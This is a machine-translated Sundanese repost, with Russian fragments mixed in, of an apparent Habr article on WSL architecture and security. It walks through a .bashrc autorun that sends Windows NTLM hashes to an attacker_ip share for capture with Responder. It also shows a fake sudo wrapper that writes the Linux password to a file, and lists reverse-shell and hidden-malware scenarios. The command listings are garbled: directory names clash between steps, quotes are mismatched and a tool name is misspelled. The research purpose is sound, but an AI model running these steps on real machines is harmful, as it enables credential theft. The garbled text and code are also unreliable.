percobaan WSL. Bagian 1

Halo, habr! OTUS ngaluncurkeun aliran kursus anyar dina Oktober "Kaamanan Linux". Dina antisipasi mimiti kursus, kami babagi sareng anjeun hiji artikel ditulis ku salah sahiji guru urang, Alexander Kolesnikov.

percobaan WSL. Bagian 1

Dina 2016, Microsoft ngenalkeun téknologi WSL anyar ka komunitas IT (Windos Subsystem pikeun Linux), anu dina mangsa nu bakal datang ngamungkinkeun pikeun ngahijikeun pesaing anu samemehna teu bisa didamaikeun anu berjuang pikeun popularitas diantara pangguna OS biasa sareng maju: Windows sareng Linux. Téknologi ieu ngamungkinkeun ngagunakeun alat Linux OS dina lingkungan Windows tanpa kedah ngajalankeun Linux, contona, nganggo Multi-boot. Dina Habr anjeun tiasa mendakan sajumlah ageung tulisan anu ngajelaskeun mangpaat ngagunakeun WSL. Nanging, hanjakalna, dina waktos tulisan ieu diciptakeun, sumber ieu henteu aya panilitian ngeunaan kaamanan simbiosis sistem operasi sapertos kitu. Tulisan ieu bakal janten usaha pikeun ngabenerkeun ieu. Tulisan bakal nyarioskeun fitur arsitéktur WSL 1 sareng 2 sareng pariksa sababaraha conto serangan dina sistem anu nganggo téknologi ieu. Artikel dibagi jadi 2 bagian. Anu kahiji bakal nyayogikeun metode serangan téoritis utama tina Linux sareng Windows. Artikel kadua bakal ngalibetkeun nyetel lingkungan test jeung reproducing serangan.

WSL 1: fitur arsitéktur

Pikeun beuleum paling akurat kana masalah kaamanan WSL, perlu pikeun nangtukeun nuansa utama pakait sareng palaksanaan subsistem. Salah sahiji tugas pamaké utama anu direngsekeun ku WSL nyaéta kamampuhan pikeun ngerjakeun terminal Linux dina host anu ngajalankeun Windows OS. Ogé, kasaluyuan anu ditawarkeun asli pisan sahingga Linux executables (ELFs) tiasa dijalankeun langsung dina sistem Windows. Pikeun ngahontal tujuan ieu, subsistem khusus diciptakeun dina Windows 10 anu ngamungkinkeun anjeun ngajalankeun aplikasi Linux nganggo sakumpulan telepon sistem khusus - ku kituna, usaha dilakukeun pikeun peta sakumpulan syscalls Linux dina Windows. Ieu dilaksanakeun sacara fisik ku cara nambahkeun supir anyar sareng format prosés anyar. Sacara visual, arsitéktur sapertos kieu:

percobaan WSL. Bagian 1

Nyatana, interaksi sareng sistem operasi Linux dikelompokeun ku sababaraha modul kernel sareng jinis prosés khusus - pico. Tina diagram di luhur, anjeun tiasa ningali yén prosés anu dijalankeun dina conto Linux dina host kedah asli sareng kedah nganggo sumber daya anu sami sareng aplikasi Windows biasa. Tapi kumaha carana ngahontal ieu? Dina proyék Jambatan tarik Konsep prosés pikeun Windows dikembangkeun anu nyayogikeun sadaya komponén anu diperyogikeun tina sistem operasi (gumantung kana versina) pikeun ngajalankeun aplikasi OS anu sanés.

Catet yén abstraksi anu diusulkeun ngamungkinkeun pikeun henteu difokuskeun sistem operasi (khususna, Windows), dimana prosés OS anu sanés diperkirakeun diluncurkeun, sareng nyarankeun pendekatan umum.

Janten, aplikasi naon waé dina prosés pico tiasa dijalankeun tanpa paduli kana kernel Windows:

  1. Masalah kasaluyuan sareng tarjamahan telepon sistem kedah direngsekeun ku panyadia khusus;
  2. Kontrol aksés kudu dilakukeun ngaliwatan Monitor Kaamanan. Monitor ayana dina kernel sahingga Windows peryogi pamutahiran dina bentuk supir anyar anu tiasa janten panyadia pikeun prosés sapertos kitu. Prototipe prosés pico sacara schematically dibere handap:

percobaan WSL. Bagian 1

Kusabab sistem file Linux nganggo nami file sareng diréktori sénsitip-sénsitip, 2 jinis sistem file ditambah kana Windows pikeun dianggo sareng WSL - VolFS sareng DriveFS. VolFS mangrupikeun palaksanaan sistem file Linux, DriveFS mangrupikeun sistem file anu tiasa dianggo nurutkeun aturan Windows, tapi gaduh kamampuan pikeun milih sensitipitas kasus.

WSL 2

WSL 1 ngagaduhan sababaraha watesan anu henteu ngamungkinkeun éta dianggo pikeun ngarengsekeun rentang maksimal tugas: contona, éta henteu gaduh kamampuan pikeun ngajalankeun aplikasi Linux 32-bit, sareng éta henteu mungkin ngagunakeun supir alat. Ku alatan éta, dina taun 2020, WSL 2 dileupaskeun, anu ngarobih pendekatan pikeun ngawangun subsistem. WSL 2 mangrupikeun mesin virtual anu dioptimalkeun anu cocog sareng karakteristik konsumsi sumberdaya WSL 1. Ayeuna, gumantung kana masalah anu direngsekeun ku pangguna Windows OS, anjeun tiasa milih versi subsistem Linux anu diperyogikeun. Pikeun ngirangan kamungkinan kerentanan, WSL 2 dilaksanakeun dumasar kana Hyper-V dina Windows 10. Dina bentuk ieu, Windows gaduh kamampuan pikeun ngajalankeun kernel sistem operasi Linux sacara mandiri. Perlu diinget yén versi 1 WSL diwanohkeun salaku fitur béta anu sakuduna nunjukkeun arah pamekaran Windows di daérah ieu, ku kituna transisi ka Hyper-V henteu tiasa dihindari. Arsitéktur ahir sapertos kieu:

percobaan WSL. Bagian 1

Dina vérsi ieu, kernel Windows sareng Linux gaduh sumber daya sorangan sareng simpang ngan ukur aya dina sistem file, tapi simpang ieu henteu lengkep. Interaksi antara sistem file dilumangsungkeun ngaliwatan hiji wrapper klien-server nu gawéna ngagunakeun protokol 9P.

Dinten Microsoft nyadiakeun kamampuhan pikeun pindah antara WSL 1 jeung WSL 2. Duanana versi sadia pikeun pamakéan.

WSL Kaamanan

Ayeuna, aya sababaraha karya anu ngajelaskeun sababaraha pendekatan pikeun ngagunakeun alat OS anu sah pikeun nyerang komunikasi antara subsistem. Kami bakal ngagunakeun skripna pikeun mariksa relevansi serangan dina waktos nyerat. Daptar umum serangan sareng skenario:

1. Palaksanaan sistem file: hak aksés, kasadiaan directories dibagikeun / mékanisme bursa data.

Panalungtikan ieu dilakukeun pikeun nangtukeun palanggaran aturan aksés ti Linux FS-> Windows FS, Windows FS-> Linux FS. Panaliti nunjukkeun kamampuan pikeun ngarobih file anu dipasihkeun dina target OS. Usaha ogé dilakukeun pikeun ngagentos, nyiptakeun duplikat sareng ngahapus bagian tina sistem file.

Skenario:

  • A. Serangan tina sistem operasi Windows - modifikasi file tina diréktori /etc tina OS Linux.
  • B. Serangan tina sistem operasi Linux - modifikasi file dina diréktori: C:Windows, C:Program Files, C:Users<User>

2. Palaksanaan tumpukan jaringan.

Panalitian dilaksanakeun nganggo conto serangan tina sistem operasi Linux dina Windows. Fitur tina tumpukan jaringan dianggo, nyaéta, mékanisme auténtikasi dina sababaraha sumber.

Skenario:

  • Muka aksés ka port nu geus nempatan dina sistem Windows
  • Muka port tanpa hak luyu
  • Ngajalankeun cangkang sabalikna nganggo file elf dina sistem operasi Windows.

3. Nyumputkeun peluncuran prosés software jahat ngagunakeun subsistem WSL.

Panalungtikan ieu dumasar kana kanyataan basajan - subsistem kaamanan teu bisa intercept acara dina kernel sejen anu hade ngagunakeun panyadia sah tina sistem operasi dina kasus WSL 1. Dina kasus WSL 2, euweuh cara pikeun nempo kajadian anu lumangsung. dina kernel misah dina mesin virtual lightweight.

Skenario:

1) Ngajalankeun aplikasi pikeun aksés jauh kana sistem sareng ningali acara anu dilebetkeun.

Percobaan WSL 1: interception hash (Windows)

Tungtungna urang dugi ka bagian praktis. Mimiti, anjeun kedah nyetél lingkungan tés. Sadaya percobaan bakal dilaksanakeun dina bangku sareng dipasang Windows 10 2004. Gambar Ubuntu 18.04 dipilih salaku gambar sistem operasi pikeun WSL. Gambar dipilih sacara acak, sareng anu sanésna bakal dianggo sami. Paréntah pikeun nyetél stand:

Anjeun kedah ngaluncurkeun heula powershell.exe salaku pangurus.

Pikeun WSL 1 anjeun kedah ngajalankeun paréntah:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Saatos rebooting stand, anjeun tiasa nelepon paréntah bash. Upami sadayana jalan leres, anjeun bakal ningali kaluaran anu sami sareng ieu dina konsol Windows:

    percobaan WSL. Bagian 1

    Kami bakal nganggo distribusi Kali Linux salaku mesin panyerang; sadaya mesin kedah aya dina jaringan lokal anu sami.

    Anggap urang gaduh aksés unprivileged kana WSL dina mesin Windows. Hayu urang nyobian nyerang sistem operasi Linux ku nelepon paréntah ti Linux. Pikeun ngalaksanakeun serangan éta, kami bakal ngagunakeun téknik autorun anu saderhana - kami bakal nambihan naskah pikeun dieksekusi di lingkungan Linux. Jang ngalampahkeun ieu anjeun kudu ngarobah file .bashrc.

    Dina mesin sareng WSL kami laksanakeun:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Dina mesin Kali Linux urang ngajalankeun:

    1. Responder -I eth0 -rdvw

    Dina mesin Windows, hayu urang ngajalankeun bash.

    Kami ngantosan hasilna dina mesin Kali Linux:

    percobaan WSL. Bagian 1

    Ku kituna, urang meunang hashes pamaké Windows ngaliwatan subsistem WSL ku executing paréntah dina sistem Linux Ubuntu.

    Percobaan WSL 1: meunangkeun sandi pamaké (Linux OS)

    Hayu urang ngalakukeun hiji percobaan deui. Salila parios ieu kami bakal nambihan kana file .bashrc sababaraha paréntah pikeun ménta sandi pamaké sistem operasi Linux.

    Hayu urang ngajalankeun bash sareng lebetkeun paréntah:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Pikeun suksés ngalengkepan serangan, pangguna Sam kedah nyauran sudo dina terminal Linux. Saatos ieu, sandi pangguna Linux OS bakal aya dina file pass.txt:

    percobaan WSL. Bagian 1

    Palaksanaan serangan éta ngan ukur pikeun inpormasi téoritis.

    Bagian salajengna tina tulisan bakal ngajelaskeun palaksanaan protokol 9P, mertimbangkeun nyiptakeun scanner pikeun protokol ieu, sareng ogé ngalaksanakeun serangan nganggo éta.

    Daptar pustaka anu dianggo

    percobaan WSL. Bagian 1

    Maca deui

    sumber: www.habr.com

    Tambahkeun komentar